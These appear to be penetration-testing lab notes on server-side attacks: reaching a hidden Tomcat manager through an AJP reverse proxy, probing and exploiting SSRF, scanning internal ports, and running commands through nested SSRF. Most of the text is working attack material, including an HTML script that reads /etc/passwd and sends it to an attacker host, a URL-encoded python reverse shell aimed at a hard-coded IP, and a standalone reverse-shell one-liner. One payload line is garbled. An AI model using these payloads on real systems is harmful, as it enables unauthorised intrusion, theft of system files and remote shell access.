5. Server Side Attack

SSRF : (Server-Side Request Forgeries)

AJP Proxy - (port 8009)

AJP (or JK) is a wire protocol for standalone webserver (e.g. Apache) to talk to Tomcat.

RUN Vulnerable Docker on local machine

  1. Create a file called tomcat-users.xml
<tomcat-users>
  <role rolename="manager-gui"/>
  <role rolename="manager-script"/>
  <user username="tomcat" password="s3cret" roles="manager-gui,manager-script"/>
</tomcat-users>

  1. Install Docker package
$ sudo apt install docker.io

$ sudo docker run -it --rm -p 8009:8009 -v `pwd`/tomcat-users.xml:/usr/local/tomcat/conf/tomcat-users.xml --name tomcat "tomcat:8.0"

Goal: Access Tomcat's hidden admin page using reverse proxy.

Summary

  1. Download the Nginx source code
  2. Download the required module
  3. Compile Nginx source code with the ajp_module.
  4. Create a configuration file pointing to the AJP Port

AJP Proxy - NGINX Reverse Proxy

Access hidden Tomcat Manager using Nginx with the ajp_module
Download the Nginx source code

$ wget https://nginx.org/download/nginx-1.21.3.tar.gz
$ tar -xzvf nginx-1.21.3.tar.gz

Download the required module

$ git clone https://github.com/dvershinin/nginx_ajp_module.git

$ cd nginx-1.21.3

$ sudo apt install libpcre3-dev

$ ./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules

$ make

$ sudo make install

$ nginx -V



Compile Nginx source code with the ajp_module.
Create a configuration file pointing to the AJP Port

#####
Comment out the entire server block and append the following lines inside the http block in /etc/nginx/conf/nginx.conf.
######


upstream tomcats {
	server <TARGET_SERVER>:8009;
	keepalive 10;
	}
server {
	listen 80;
	location / {
		ajp_keep_conn on;
		ajp_pass tomcats;
	}
}


$ sudo nginx

$ curl http://127.0.0.1:80

Apache Reverse Proxy & AJP

Install the libapache2-mod-jk package
Enable the module
Create the configuration file pointing to the target AJP-Proxy port

#stop the above ngnix
sudo ngnix -s stop 
#update apache default port
sudo vim /etc/apache2/ports.conf



$ sudo apt install libapache2-mod-jk
$ sudo a2enmod proxy_ajp

$ sudo a2enmod proxy_http

$ export TARGET="<TARGET_IP>"

$ echo -n """<Proxy *>
Order allow,deny
Allow from all
</Proxy>
ProxyPass / ajp://$TARGET:8009/
ProxyPassReverse / ajp://$TARGET:8009/""" | sudo tee /etc/apache2/sites-available/ajp-proxy.conf

$ sudo ln -s /etc/apache2/sites-available/ajp-proxy.conf /etc/apache2/sites-enabled/ajp-proxy.conf

$ sudo systemctl start apache2


Server-Side Request Forgery (SSRF)

Goal: Abuse server functionality to perform internal or external resource requests on behalf of the server.

Look for

Use netcat to verify SSRF Vulnerability. Check User Agent.

$ nc -nvlp 8080

$ curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:8080"


Steps

  1. Setting up ftp/http server to check application vulnerability. Attempt to redirect to host, HTTP or FTP. Or attempt to reach out to target file, such as /etc/passwd
    Create an index file
<html>
</body>
<a>SSRF</a>
<body>
<html>

  1. Start python http server
$ python3 -m http.server 9090

$ curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:9090/index.html"
  1. Start ftp server
$ sudo pip3 install twisted
$ sudo python3 -m twisted ftp -p 21 -r .

$ curl -i -s "http://<TARGET IP>/load?q=ftp://<VPN/TUN Adapter IP>/index.html
Access internal server and get the files `curl -i -s "http:///load?q=file:///etc/passwd"

....Search for internal ports........

  1. Do port scan
$ for port in {1..65535};do echo $port >> ports.txt;done
$curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:1"
$ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30
  1. Check internal server
$curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html"

2. Port scan 
$ ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:PORT" -fr 'Errno[[:blank:]]111'

$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/"
  1. Interact with the target
    1. curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"
  2. Use jq to encode
    1. sudo apt-get install jq
    2. echo "encode me" | jq -sRr @uri
  3. Automate executing commands
$ function rce() {
 while true; do
 echo -n "# "; read cmd
 ecmd=$(echo -n $cmd | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
 curl -s -o - "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=${ecmd}"
 echo ""
done
}

`

Blind SSRF

Tools

  1. Burp Collaborator (Part of Burp Suite professional. Not Available in the community edition)
  2. http://pingb.in

Code for POC


<!DOCTYPE html>
<html>
<body>
	<a>Hello World!</a>
	<img src="http://<SERVICE IP>:PORT/x?=viaimgtag">
</body>
</html>


HTML script that sends data back to home


<html>
    <body>
        <b>Exfiltration via Blind SSRF</b>
        <script>
        var readfile = new XMLHttpRequest(); // Read the local file
        var exfil = new XMLHttpRequest(); // Send the file to our server
        readfile.open("GET","file:///etc/passwd", true); 
        readfile.send();
        readfile.onload = function() {
            if (readfile.readyState === 4) {
                var url = 'http://<SERVICE IP>:<PORT>/?data='+btoa(this.response);
                exfil.open("GET", url, true);
                exfil.send();
            }
        }
        readfile.onerror = function(){document.write('<a>Oops!</a>');}
        </script>
     </body>
</html>


Payload for a reverse shell

<html>
    <body>
        <b>Reverse Shell via Blind SSRF</b>
        <script>
        var http = new XMLHttpRequest();
        http.open////127.0.0.1:5000/runme?x=export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527", true; 
        http.send();
        http.onerror = function(){document.write('<a>Oops!</a>');}
        </script>
    </body>
</html>

URL encoder

https://www.urlencoder.org/

Bash Reverse shell

export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

Time-Based SSRF

Send valid internal address and invalid address, Then observe the time difference.

<html>
    <body>
        <b>Time-Based Blind SSRF</b>
        <img src="http://blah.nonexistent.com">
    </body>
</html>


#######################################
<html>
    <body>
        <b>Time-Based Blind SSRF</b>
        <img src="http://internal.app.local">
    </body>
</html>